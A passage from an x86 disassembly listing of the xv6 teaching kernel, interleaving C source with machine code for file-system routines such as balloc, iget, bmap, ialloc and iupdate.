801010a2: 89 45 08 mov %eax,0x8(%ebp) } 801010a5: 83 c4 2c add $0x2c,%esp 801010a8: 5b pop %ebx 801010a9: 5e pop %esi 801010aa: 5f pop %edi 801010ab: 5d pop %ebp return pipewrite(f->pipe, addr, n); 801010ac: e9 1f 22 00 00 jmp 801032d0 <pipewrite> panic("short filewrite"); 801010b1: c7 04 24 af 6e 10 80 movl $0x80106eaf,(%esp) 801010b8: e8 a3 f2 ff ff call 80100360 <panic> panic("filewrite"); 801010bd: c7 04 24 b5 6e 10 80 movl $0x80106eb5,(%esp) 801010c4: e8 97 f2 ff ff call 80100360 <panic> 801010c9: 66 90 xchg %ax,%ax 801010cb: 66 90 xchg %ax,%ax 801010cd: 66 90 xchg %ax,%ax 801010cf: 90 nop 801010d0 <balloc>: // Blocks. // Allocate a zeroed disk block. static uint balloc(uint dev) { 801010d0: 55 push %ebp 801010d1: 89 e5 mov %esp,%ebp 801010d3: 57 push %edi 801010d4: 56 push %esi 801010d5: 53 push %ebx 801010d6: 83 ec 2c sub $0x2c,%esp 801010d9: 89 45 d8 mov %eax,-0x28(%ebp) int b, bi, m; struct buf *bp; bp = 0; for(b = 0; b < sb.size; b += BPB){ 801010dc: a1 c0 09 11 80 mov 0x801109c0,%eax 801010e1: 85 c0 test %eax,%eax 801010e3: 0f 84 8c 00 00 00 je 80101175 <balloc+0xa5> 801010e9: c7 45 dc 00 00 00 00 movl $0x0,-0x24(%ebp) bp = bread(dev, BBLOCK(b, sb)); 801010f0: 8b 75 dc mov -0x24(%ebp),%esi 801010f3: 89 f0 mov %esi,%eax 801010f5: c1 f8 0c sar $0xc,%eax 801010f8: 03 05 d8 09 11 80 add 0x801109d8,%eax 801010fe: 89 44 24 04 mov %eax,0x4(%esp) 80101102: 8b 45 d8 mov -0x28(%ebp),%eax 80101105: 89 04 24 mov %eax,(%esp) 80101108: e8 c3 ef ff ff call 801000d0 <bread> 8010110d: 89 45 e4 mov %eax,-0x1c(%ebp) 80101110: a1 c0 09 11 80 mov 0x801109c0,%eax 80101115: 89 45 e0 mov %eax,-0x20(%ebp) for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ 80101118: 31 c0 xor %eax,%eax 8010111a: eb 33 jmp 8010114f <balloc+0x7f> 8010111c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi m = 1 << (bi % 8); if((bp->data[bi/8] & m) == 0){ // Is block free? 80101120: 8b 5d e4 mov -0x1c(%ebp),%ebx 80101123: 89 c2 mov %eax,%edx m = 1 << (bi % 8); 80101125: 89 c1 mov %eax,%ecx if((bp->data[bi/8] & m) == 0){ // Is block free? 80101127: c1 fa 03 sar $0x3,%edx m = 1 << (bi % 8); 8010112a: 83 e1 07 and $0x7,%ecx 8010112d: bf 01 00 00 00 mov $0x1,%edi 80101132: d3 e7 shl %cl,%edi if((bp->data[bi/8] & m) == 0){ // Is block free? 80101134: 0f b6 5c 13 5c movzbl 0x5c(%ebx,%edx,1),%ebx m = 1 << (bi % 8); 80101139: 89 f9 mov %edi,%ecx if((bp->data[bi/8] & m) == 0){ // Is block free? 8010113b: 0f b6 fb movzbl %bl,%edi 8010113e: 85 cf test %ecx,%edi 80101140: 74 46 je 80101188 <balloc+0xb8> for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ 80101142: 83 c0 01 add $0x1,%eax 80101145: 83 c6 01 add $0x1,%esi 80101148: 3d 00 10 00 00 cmp $0x1000,%eax 8010114d: 74 05 je 80101154 <balloc+0x84> 8010114f: 3b 75 e0 cmp -0x20(%ebp),%esi 80101152: 72 cc jb 80101120 <balloc+0x50> brelse(bp); bzero(dev, b + bi); return b + bi; } } brelse(bp); 80101154: 8b 45 e4 mov -0x1c(%ebp),%eax 80101157: 89 04 24 mov %eax,(%esp) 8010115a: e8 81 f0 ff ff call 801001e0 <brelse> for(b = 0; b < sb.size; b += BPB){ 8010115f: 81 45 dc 00 10 00 00 addl $0x1000,-0x24(%ebp) 80101166: 8b 45 dc mov -0x24(%ebp),%eax 80101169: 3b 05 c0 09 11 80 cmp 0x801109c0,%eax 8010116f: 0f 82 7b ff ff ff jb 801010f0 <balloc+0x20> } panic("balloc: out of blocks"); 80101175: c7 04 24 bf 6e 10 80 movl $0x80106ebf,(%esp) 8010117c: e8 df f1 ff ff call 80100360 <panic> 80101181: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi bp->data[bi/8] |= m; // Mark block in use. 80101188: 09 d9 or %ebx,%ecx 8010118a: 8b 5d e4 mov -0x1c(%ebp),%ebx 8010118d: 88 4c 13 5c mov %cl,0x5c(%ebx,%edx,1) log_write(bp); 80101191: 89 1c 24 mov %ebx,(%esp) 80101194: e8 f7 1a 00 00 call 80102c90 <log_write> brelse(bp); 80101199: 89 1c 24 mov %ebx,(%esp) 8010119c: e8 3f f0 ff ff call 801001e0 <brelse> bp = bread(dev, bno); 801011a1: 8b 45 d8 mov -0x28(%ebp),%eax 801011a4: 89 74 24 04 mov %esi,0x4(%esp) 801011a8: 89 04 24 mov %eax,(%esp) 801011ab: e8 20 ef ff ff call 801000d0 <bread> memset(bp->data, 0, BSIZE); 801011b0: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp) 801011b7: 00 801011b8: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 801011bf: 00 bp = bread(dev, bno); 801011c0: 89 c3 mov %eax,%ebx memset(bp->data, 0, BSIZE); 801011c2: 8d 40 5c lea 0x5c(%eax),%eax 801011c5: 89 04 24 mov %eax,(%esp) 801011c8: e8 93 30 00 00 call 80104260 <memset> log_write(bp); 801011cd: 89 1c 24 mov %ebx,(%esp) 801011d0: e8 bb 1a 00 00 call 80102c90 <log_write> brelse(bp); 801011d5: 89 1c 24 mov %ebx,(%esp) 801011d8: e8 03 f0 ff ff call 801001e0 <brelse> } 801011dd: 83 c4 2c add $0x2c,%esp 801011e0: 89 f0 mov %esi,%eax 801011e2: 5b pop %ebx 801011e3: 5e pop %esi 801011e4: 5f pop %edi 801011e5: 5d pop %ebp 801011e6: c3 ret 801011e7: 89 f6 mov %esi,%esi 801011e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801011f0 <iget>: // Find the inode with number inum on device dev // and return the in-memory copy. Does not lock // the inode and does not read it from disk. static struct inode* iget(uint dev, uint inum) { 801011f0: 55 push %ebp 801011f1: 89 e5 mov %esp,%ebp 801011f3: 57 push %edi 801011f4: 89 c7 mov %eax,%edi 801011f6: 56 push %esi struct inode *ip, *empty; acquire(&icache.lock); // Is the inode already cached? empty = 0; 801011f7: 31 f6 xor %esi,%esi { 801011f9: 53 push %ebx for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 801011fa: bb 14 0a 11 80 mov $0x80110a14,%ebx { 801011ff: 83 ec 1c sub $0x1c,%esp acquire(&icache.lock); 80101202: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) { 80101209: 89 55 e4 mov %edx,-0x1c(%ebp) acquire(&icache.lock); 8010120c: e8 0f 2f 00 00 call 80104120 <acquire> for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 80101211: 8b 55 e4 mov -0x1c(%ebp),%edx 80101214: eb 14 jmp 8010122a <iget+0x3a> 80101216: 66 90 xchg %ax,%ax if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ ip->ref++; release(&icache.lock); return ip; } if(empty == 0 && ip->ref == 0) // Remember empty slot. 80101218: 85 f6 test %esi,%esi 8010121a: 74 3c je 80101258 <iget+0x68> for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 8010121c: 81 c3 90 00 00 00 add $0x90,%ebx 80101222: 81 fb 34 26 11 80 cmp $0x80112634,%ebx 80101228: 74 46 je 80101270 <iget+0x80> if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ 8010122a: 8b 4b 08 mov 0x8(%ebx),%ecx 8010122d: 85 c9 test %ecx,%ecx 8010122f: 7e e7 jle 80101218 <iget+0x28> 80101231: 39 3b cmp %edi,(%ebx) 80101233: 75 e3 jne 80101218 <iget+0x28> 80101235: 39 53 04 cmp %edx,0x4(%ebx) 80101238: 75 de jne 80101218 <iget+0x28> ip->ref++; 8010123a: 83 c1 01 add $0x1,%ecx return ip; 8010123d: 89 de mov %ebx,%esi release(&icache.lock); 8010123f: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) ip->ref++; 80101246: 89 4b 08 mov %ecx,0x8(%ebx) release(&icache.lock); 80101249: e8 c2 2f 00 00 call 80104210 <release> ip->ref = 1; ip->valid = 0; release(&icache.lock); return ip; } 8010124e: 83 c4 1c add $0x1c,%esp 80101251: 89 f0 mov %esi,%eax 80101253: 5b pop %ebx 80101254: 5e pop %esi 80101255: 5f pop %edi 80101256: 5d pop %ebp 80101257: c3 ret 80101258: 85 c9 test %ecx,%ecx 8010125a: 0f 44 f3 cmove %ebx,%esi for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 8010125d: 81 c3 90 00 00 00 add $0x90,%ebx 80101263: 81 fb 34 26 11 80 cmp $0x80112634,%ebx 80101269: 75 bf jne 8010122a <iget+0x3a> 8010126b: 90 nop 8010126c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(empty == 0) 80101270: 85 f6 test %esi,%esi 80101272: 74 29 je 8010129d <iget+0xad> ip->dev = dev; 80101274: 89 3e mov %edi,(%esi) ip->inum = inum; 80101276: 89 56 04 mov %edx,0x4(%esi) ip->ref = 1; 80101279: c7 46 08 01 00 00 00 movl $0x1,0x8(%esi) ip->valid = 0; 80101280: c7 46 4c 00 00 00 00 movl $0x0,0x4c(%esi) release(&icache.lock); 80101287: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 8010128e: e8 7d 2f 00 00 call 80104210 <release> } 80101293: 83 c4 1c add $0x1c,%esp 80101296: 89 f0 mov %esi,%eax 80101298: 5b pop %ebx 80101299: 5e pop %esi 8010129a: 5f pop %edi 8010129b: 5d pop %ebp 8010129c: c3 ret panic("iget: no inodes"); 8010129d: c7 04 24 d5 6e 10 80 movl $0x80106ed5,(%esp) 801012a4: e8 b7 f0 ff ff call 80100360 <panic> 801012a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801012b0 <bmap>: // Return the disk block address of the nth block in inode ip. // If there is no such block, bmap allocates one. static uint bmap(struct inode *ip, uint bn) { 801012b0: 55 push %ebp 801012b1: 89 e5 mov %esp,%ebp 801012b3: 57 push %edi 801012b4: 56 push %esi 801012b5: 53 push %ebx 801012b6: 89 c3 mov %eax,%ebx 801012b8: 83 ec 1c sub $0x1c,%esp uint addr, *a; struct buf *bp; if(bn < NDIRECT){ 801012bb: 83 fa 0b cmp $0xb,%edx 801012be: 77 18 ja 801012d8 <bmap+0x28> 801012c0: 8d 34 90 lea (%eax,%edx,4),%esi if((addr = ip->addrs[bn]) == 0) 801012c3: 8b 46 5c mov 0x5c(%esi),%eax 801012c6: 85 c0 test %eax,%eax 801012c8: 74 66 je 80101330 <bmap+0x80> brelse(bp); return addr; } panic("bmap: out of range"); } 801012ca: 83 c4 1c add $0x1c,%esp 801012cd: 5b pop %ebx 801012ce: 5e pop %esi 801012cf: 5f pop %edi 801012d0: 5d pop %ebp 801012d1: c3 ret 801012d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi bn -= NDIRECT; 801012d8: 8d 72 f4 lea -0xc(%edx),%esi if(bn < NINDIRECT){ 801012db: 83 fe 7f cmp $0x7f,%esi 801012de: 77 77 ja 80101357 <bmap+0xa7> if((addr = ip->addrs[NDIRECT]) == 0) 801012e0: 8b 80 8c 00 00 00 mov 0x8c(%eax),%eax 801012e6: 85 c0 test %eax,%eax 801012e8: 74 5e je 80101348 <bmap+0x98> bp = bread(ip->dev, addr); 801012ea: 89 44 24 04 mov %eax,0x4(%esp) 801012ee: 8b 03 mov (%ebx),%eax 801012f0: 89 04 24 mov %eax,(%esp) 801012f3: e8 d8 ed ff ff call 801000d0 <bread> if((addr = a[bn]) == 0){ 801012f8: 8d 54 b0 5c lea 0x5c(%eax,%esi,4),%edx bp = bread(ip->dev, addr); 801012fc: 89 c7 mov %eax,%edi if((addr = a[bn]) == 0){ 801012fe: 8b 32 mov (%edx),%esi 80101300: 85 f6 test %esi,%esi 80101302: 75 19 jne 8010131d <bmap+0x6d> a[bn] = addr = balloc(ip->dev); 80101304: 8b 03 mov (%ebx),%eax 80101306: 89 55 e4 mov %edx,-0x1c(%ebp) 80101309: e8 c2 fd ff ff call 801010d0 <balloc> 8010130e: 8b 55 e4 mov -0x1c(%ebp),%edx 80101311: 89 02 mov %eax,(%edx) 80101313: 89 c6 mov %eax,%esi log_write(bp); 80101315: 89 3c 24 mov %edi,(%esp) 80101318: e8 73 19 00 00 call 80102c90 <log_write> brelse(bp); 8010131d: 89 3c 24 mov %edi,(%esp) 80101320: e8 bb ee ff ff call 801001e0 <brelse> } 80101325: 83 c4 1c add $0x1c,%esp brelse(bp); 80101328: 89 f0 mov %esi,%eax } 8010132a: 5b pop %ebx 8010132b: 5e pop %esi 8010132c: 5f pop %edi 8010132d: 5d pop %ebp 8010132e: c3 ret 8010132f: 90 nop ip->addrs[bn] = addr = balloc(ip->dev); 80101330: 8b 03 mov (%ebx),%eax 80101332: e8 99 fd ff ff call 801010d0 <balloc> 80101337: 89 46 5c mov %eax,0x5c(%esi) } 8010133a: 83 c4 1c add $0x1c,%esp 8010133d: 5b pop %ebx 8010133e: 5e pop %esi 8010133f: 5f pop %edi 80101340: 5d pop %ebp 80101341: c3 ret 80101342: 8d b6 00 00 00 00 lea 0x0(%esi),%esi ip->addrs[NDIRECT] = addr = balloc(ip->dev); 80101348: 8b 03 mov (%ebx),%eax 8010134a: e8 81 fd ff ff call 801010d0 <balloc> 8010134f: 89 83 8c 00 00 00 mov %eax,0x8c(%ebx) 80101355: eb 93 jmp 801012ea <bmap+0x3a> panic("bmap: out of range"); 80101357: c7 04 24 e5 6e 10 80 movl $0x80106ee5,(%esp) 8010135e: e8 fd ef ff ff call 80100360 <panic> 80101363: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80101369: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101370 <readsb>: { 80101370: 55 push %ebp 80101371: 89 e5 mov %esp,%ebp 80101373: 56 push %esi 80101374: 53 push %ebx 80101375: 83 ec 10 sub $0x10,%esp bp = bread(dev, 1); 80101378: 8b 45 08 mov 0x8(%ebp),%eax 8010137b: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp) 80101382: 00 { 80101383: 8b 75 0c mov 0xc(%ebp),%esi bp = bread(dev, 1); 80101386: 89 04 24 mov %eax,(%esp) 80101389: e8 42 ed ff ff call 801000d0 <bread> memmove(sb, bp->data, sizeof(*sb)); 8010138e: 89 34 24 mov %esi,(%esp) 80101391: c7 44 24 08 1c 00 00 movl $0x1c,0x8(%esp) 80101398: 00 bp = bread(dev, 1); 80101399: 89 c3 mov %eax,%ebx memmove(sb, bp->data, sizeof(*sb)); 8010139b: 8d 40 5c lea 0x5c(%eax),%eax 8010139e: 89 44 24 04 mov %eax,0x4(%esp) 801013a2: e8 59 2f 00 00 call 80104300 <memmove> brelse(bp); 801013a7: 89 5d 08 mov %ebx,0x8(%ebp) } 801013aa: 83 c4 10 add $0x10,%esp 801013ad: 5b pop %ebx 801013ae: 5e pop %esi 801013af: 5d pop %ebp brelse(bp); 801013b0: e9 2b ee ff ff jmp 801001e0 <brelse> 801013b5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801013b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801013c0 <bfree>: { 801013c0: 55 push %ebp 801013c1: 89 e5 mov %esp,%ebp 801013c3: 57 push %edi 801013c4: 89 d7 mov %edx,%edi 801013c6: 56 push %esi 801013c7: 53 push %ebx 801013c8: 89 c3 mov %eax,%ebx 801013ca: 83 ec 1c sub $0x1c,%esp readsb(dev, &sb); 801013cd: 89 04 24 mov %eax,(%esp) 801013d0: c7 44 24 04 c0 09 11 movl $0x801109c0,0x4(%esp) 801013d7: 80 801013d8: e8 93 ff ff ff call 80101370 <readsb> bp = bread(dev, BBLOCK(b, sb)); 801013dd: 89 fa mov %edi,%edx 801013df: c1 ea 0c shr $0xc,%edx 801013e2: 03 15 d8 09 11 80 add 0x801109d8,%edx 801013e8: 89 1c 24 mov %ebx,(%esp) m = 1 << (bi % 8); 801013eb: bb 01 00 00 00 mov $0x1,%ebx bp = bread(dev, BBLOCK(b, sb)); 801013f0: 89 54 24 04 mov %edx,0x4(%esp) 801013f4: e8 d7 ec ff ff call 801000d0 <bread> m = 1 << (bi % 8); 801013f9: 89 f9 mov %edi,%ecx bi = b % BPB; 801013fb: 81 e7 ff 0f 00 00 and $0xfff,%edi 80101401: 89 fa mov %edi,%edx m = 1 << (bi % 8); 80101403: 83 e1 07 and $0x7,%ecx if((bp->data[bi/8] & m) == 0) 80101406: c1 fa 03 sar $0x3,%edx m = 1 << (bi % 8); 80101409: d3 e3 shl %cl,%ebx bp = bread(dev, BBLOCK(b, sb)); 8010140b: 89 c6 mov %eax,%esi if((bp->data[bi/8] & m) == 0) 8010140d: 0f b6 44 10 5c movzbl 0x5c(%eax,%edx,1),%eax 80101412: 0f b6 c8 movzbl %al,%ecx 80101415: 85 d9 test %ebx,%ecx 80101417: 74 20 je 80101439 <bfree+0x79> bp->data[bi/8] &= ~m; 80101419: f7 d3 not %ebx 8010141b: 21 c3 and %eax,%ebx 8010141d: 88 5c 16 5c mov %bl,0x5c(%esi,%edx,1) log_write(bp); 80101421: 89 34 24 mov %esi,(%esp) 80101424: e8 67 18 00 00 call 80102c90 <log_write> brelse(bp); 80101429: 89 34 24 mov %esi,(%esp) 8010142c: e8 af ed ff ff call 801001e0 <brelse> } 80101431: 83 c4 1c add $0x1c,%esp 80101434: 5b pop %ebx 80101435: 5e pop %esi 80101436: 5f pop %edi 80101437: 5d pop %ebp 80101438: c3 ret panic("freeing free block"); 80101439: c7 04 24 f8 6e 10 80 movl $0x80106ef8,(%esp) 80101440: e8 1b ef ff ff call 80100360 <panic> 80101445: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101449: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101450 <iinit>: { 80101450: 55 push %ebp 80101451: 89 e5 mov %esp,%ebp 80101453: 53 push %ebx 80101454: bb 20 0a 11 80 mov $0x80110a20,%ebx 80101459: 83 ec 24 sub $0x24,%esp initlock(&icache.lock, "icache"); 8010145c: c7 44 24 04 0b 6f 10 movl $0x80106f0b,0x4(%esp) 80101463: 80 80101464: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 8010146b: e8 c0 2b 00 00 call 80104030 <initlock> initsleeplock(&icache.inode[i].lock, "inode"); 80101470: 89 1c 24 mov %ebx,(%esp) 80101473: 81 c3 90 00 00 00 add $0x90,%ebx 80101479: c7 44 24 04 12 6f 10 movl $0x80106f12,0x4(%esp) 80101480: 80 80101481: e8 9a 2a 00 00 call 80103f20 <initsleeplock> for(i = 0; i < NINODE; i++) { 80101486: 81 fb 40 26 11 80 cmp $0x80112640,%ebx 8010148c: 75 e2 jne 80101470 <iinit+0x20> readsb(dev, &sb); 8010148e: 8b 45 08 mov 0x8(%ebp),%eax 80101491: c7 44 24 04 c0 09 11 movl $0x801109c0,0x4(%esp) 80101498: 80 80101499: 89 04 24 mov %eax,(%esp) 8010149c: e8 cf fe ff ff call 80101370 <readsb> cprintf("sb: size %d nblocks %d ninodes %d nlog %d logstart %d\ 801014a1: a1 d8 09 11 80 mov 0x801109d8,%eax 801014a6: c7 04 24 78 6f 10 80 movl $0x80106f78,(%esp) 801014ad: 89 44 24 1c mov %eax,0x1c(%esp) 801014b1: a1 d4 09 11 80 mov 0x801109d4,%eax 801014b6: 89 44 24 18 mov %eax,0x18(%esp) 801014ba: a1 d0 09 11 80 mov 0x801109d0,%eax 801014bf: 89 44 24 14 mov %eax,0x14(%esp) 801014c3: a1 cc 09 11 80 mov 0x801109cc,%eax 801014c8: 89 44 24 10 mov %eax,0x10(%esp) 801014cc: a1 c8 09 11 80 mov 0x801109c8,%eax 801014d1: 89 44 24 0c mov %eax,0xc(%esp) 801014d5: a1 c4 09 11 80 mov 0x801109c4,%eax 801014da: 89 44 24 08 mov %eax,0x8(%esp) 801014de: a1 c0 09 11 80 mov 0x801109c0,%eax 801014e3: 89 44 24 04 mov %eax,0x4(%esp) 801014e7: e8 64 f1 ff ff call 80100650 <cprintf> } 801014ec: 83 c4 24 add $0x24,%esp 801014ef: 5b pop %ebx 801014f0: 5d pop %ebp 801014f1: c3 ret 801014f2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801014f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101500 <ialloc>: { 80101500: 55 push %ebp 80101501: 89 e5 mov %esp,%ebp 80101503: 57 push %edi 80101504: 56 push %esi 80101505: 53 push %ebx 80101506: 83 ec 2c sub $0x2c,%esp 80101509: 8b 45 0c mov 0xc(%ebp),%eax for(inum = 1; inum < sb.ninodes; inum++){ 8010150c: 83 3d c8 09 11 80 01 cmpl $0x1,0x801109c8 { 80101513: 8b 7d 08 mov 0x8(%ebp),%edi 80101516: 89 45 e4 mov %eax,-0x1c(%ebp) for(inum = 1; inum < sb.ninodes; inum++){ 80101519: 0f 86 a2 00 00 00 jbe 801015c1 <ialloc+0xc1> 8010151f: be 01 00 00 00 mov $0x1,%esi 80101524: bb 01 00 00 00 mov $0x1,%ebx 80101529: eb 1a jmp 80101545 <ialloc+0x45> 8010152b: 90 nop 8010152c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi brelse(bp); 80101530: 89 14 24 mov %edx,(%esp) for(inum = 1; inum < sb.ninodes; inum++){ 80101533: 83 c3 01 add $0x1,%ebx brelse(bp); 80101536: e8 a5 ec ff ff call 801001e0 <brelse> for(inum = 1; inum < sb.ninodes; inum++){ 8010153b: 89 de mov %ebx,%esi 8010153d: 3b 1d c8 09 11 80 cmp 0x801109c8,%ebx 80101543: 73 7c jae 801015c1 <ialloc+0xc1> bp = bread(dev, IBLOCK(inum, sb)); 80101545: 89 f0 mov %esi,%eax 80101547: c1 e8 03 shr $0x3,%eax 8010154a: 03 05 d4 09 11 80 add 0x801109d4,%eax 80101550: 89 3c 24 mov %edi,(%esp) 80101553: 89 44 24 04 mov %eax,0x4(%esp) 80101557: e8 74 eb ff ff call 801000d0 <bread> 8010155c: 89 c2 mov %eax,%edx dip = (struct dinode*)bp->data + inum%IPB; 8010155e: 89 f0 mov %esi,%eax 80101560: 83 e0 07 and $0x7,%eax 80101563: c1 e0 06 shl $0x6,%eax 80101566: 8d 4c 02 5c lea 0x5c(%edx,%eax,1),%ecx if(dip->type == 0){ // a free inode 8010156a: 66 83 39 00 cmpw $0x0,(%ecx) 8010156e: 75 c0 jne 80101530 <ialloc+0x30> memset(dip, 0, sizeof(*dip)); 80101570: 89 0c 24 mov %ecx,(%esp) 80101573: c7 44 24 08 40 00 00 movl $0x40,0x8(%esp) 8010157a: 00 8010157b: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80101582: 00 80101583: 89 55 dc mov %edx,-0x24(%ebp) 80101586: 89 4d e0 mov %ecx,-0x20(%ebp) 80101589: e8 d2 2c 00 00 call 80104260 <memset> dip->type = type; 8010158e: 0f b7 45 e4 movzwl -0x1c(%ebp),%eax log_write(bp); // mark it allocated on the disk 80101592: 8b 55 dc mov -0x24(%ebp),%edx dip->type = type; 80101595: 8b 4d e0 mov -0x20(%ebp),%ecx log_write(bp); // mark it allocated on the disk 80101598: 89 55 e4 mov %edx,-0x1c(%ebp) dip->type = type; 8010159b: 66 89 01 mov %ax,(%ecx) log_write(bp); // mark it allocated on the disk 8010159e: 89 14 24 mov %edx,(%esp) 801015a1: e8 ea 16 00 00 call 80102c90 <log_write> brelse(bp); 801015a6: 8b 55 e4 mov -0x1c(%ebp),%edx 801015a9: 89 14 24 mov %edx,(%esp) 801015ac: e8 2f ec ff ff call 801001e0 <brelse> } 801015b1: 83 c4 2c add $0x2c,%esp return iget(dev, inum); 801015b4: 89 f2 mov %esi,%edx } 801015b6: 5b pop %ebx return iget(dev, inum); 801015b7: 89 f8 mov %edi,%eax } 801015b9: 5e pop %esi 801015ba: 5f pop %edi 801015bb: 5d pop %ebp return iget(dev, inum); 801015bc: e9 2f fc ff ff jmp 801011f0 <iget> panic("ialloc: no inodes"); 801015c1: c7 04 24 18 6f 10 80 movl $0x80106f18,(%esp) 801015c8: e8 93 ed ff ff call 80100360 <panic> 801015cd: 8d 76 00 lea 0x0(%esi),%esi 801015d0 <iupdate>: { 801015d0: 55 push %ebp 801015d1: 89 e5 mov %esp,%ebp 801015d3: 56 push %esi 801015d4: 53 push %ebx 801015d5: 83 ec 10 sub $0x10,%esp 801015d8: 8b 5d 08 mov 0x8(%ebp),%ebx bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 801015db: 8b 43 04 mov 0x4(%ebx),%eax memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 801015de: 83 c3 5c add $0x5c,%ebx bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 801015e1: c1 e8 03 shr $0x3,%eax 801015e4: 03 05 d4 09 11 80 add 0x801109d4,%eax 801015ea: 89 44 24 04 mov %eax,0x4(%esp) 801015ee: 8b 43 a4 mov -0x5c(%ebx),%eax 801015f1: 89 04 24 mov %eax,(%esp) 801015f4: e8 d7 ea ff ff call 801000d0 <bread> dip = (struct dinode*)bp->data + ip->inum%IPB; 801015f9: 8b 53 a8 mov -0x58(%ebx),%edx 801015fc: 83 e2 07 and $0x7,%edx 801015ff: c1 e2 06 shl $0x6,%edx 80101602: 8d 54 10 5c lea 0x5c(%eax,%edx,1),%edx bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 80101606: 89 c6 mov %eax,%esi dip->type = ip->type; 80101608: 0f b7 43 f4 movzwl -0xc(%ebx),%eax memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 8010160c: 83 c2 0c add $0xc,%edx dip->type = ip->type; 8010160f: 66 89 42 f4 mov %ax,-0xc(%edx) dip->major = ip->major; 80101613: 0f b7 43 f6 movzwl -0xa(%ebx),%eax 80101617: 66 89 42 f6 mov %ax,-0xa(%edx) dip->minor = ip->minor; 8010161b: 0f b7 43 f8 movzwl -0x8(%ebx),%eax 8010161f: 66 89 42 f8 mov %ax,-0x8(%edx) dip->nlink = ip->nlink; 80101623: 0f b7 43 fa movzwl -0x6(%ebx),%eax 80101627: 66 89 42 fa mov %ax,-0x6(%edx) dip->size = ip->size; 8010162b: 8b 43 fc mov -0x4(%ebx),%eax 8010162e: 89 42 fc mov %eax,-0x4(%edx) memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 80101631: 89 5c 24 04 mov %ebx,0x4(%esp) 80101635: 89 14 24 mov %edx,(%esp) 80101638: c7 44 24 08 34 00 00 movl $0x34,0x8(%esp) 8010163f: 00 80101640: e8 bb 2c 00 00 call 80104300 <memmove> log_write(bp); 80101645: 89 34 24 mov %esi,(%esp) 80101648: e8 43 16 00 00 call 80102c90 <log_write> brelse(bp); 8010164d: 89 75 08 mov %esi,0x8(%ebp) } 80101650: 83 c4 10 add $0x10,%esp 80101653: 5b pop %ebx 80101654: 5e pop %esi 80101655: 5d pop %ebp brelse(bp); 80101656: e9 85 eb ff ff jmp 801001e0 <brelse> 8010165b: 90 nop 8010165c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101660 <idup>: { 80101660: 55 push %ebp 80101661: 89 e5 mov %esp,%ebp 80101663: 53 push %ebx 80101664: 83 ec 14 sub $0x14,%esp 80101667: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&icache.lock); 8010166a: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 80101671: e8 aa 2a 00 00 call 80104120 <acquire> ip->ref++; 80101676: 83 43 08 01 addl $0x1,0x8(%ebx) release(&icache.lock); 8010167a: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 80101681: e8 8a 2b 00 00 call 80104210 <release> } 80101686: 83 c4 14 add $0x14,%esp 80101689: 89 d8 mov %ebx,%eax 8010168b: 5b pop %ebx 8010168c: 5d pop %ebp 8010168d: c3 ret 8010168e: 66 90 xchg %ax,%ax 80101690 <ilock>: { 80101690: 55 push %ebp 80101691: 89 e5 mov %esp,%ebp 80101693: 56 push %esi 80101694: 53 push %ebx 80101695: 83 ec 10 sub $0x10,%esp 80101698: 8b 5d 08 mov 0x8(%ebp),%ebx if(ip == 0 || ip->ref < 1) 8010169b: 85 db test %ebx,%ebx 8010169d: 0f 84 b3 00 00 00 je 80101756 <ilock+0xc6> 801016a3: 8b 53 08 mov 0x8(%ebx),%edx 801016a6: 85 d2 test %edx,%edx 801016a8: 0f 8e a8 00 00 00 jle 80101756 <ilock+0xc6> acquiresleep(&ip->lock); 801016ae: 8d 43 0c lea 0xc(%ebx),%eax 801016b1: 89 04 24 mov %eax,(%esp) 801016b4: e8 a7 28 00 00 call 80103f60 <acquiresleep> if(ip->valid == 0){ 801016b9: 8b 43 4c mov 0x4c(%ebx),%eax 801016bc: 85 c0 test %eax,%eax 801016be: 74 08 je 801016c8 <ilock+0x38> } 801016c0: 83 c4 10 add $0x10,%esp 801016c3: 5b pop %ebx 801016c4: 5e pop %esi 801016c5: 5d pop %ebp 801016c6: c3 ret 801016c7: 90 nop bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 801016c8: 8b 43 04 mov 0x4(%ebx),%eax 801016cb: c1 e8 03 shr $0x3,%eax 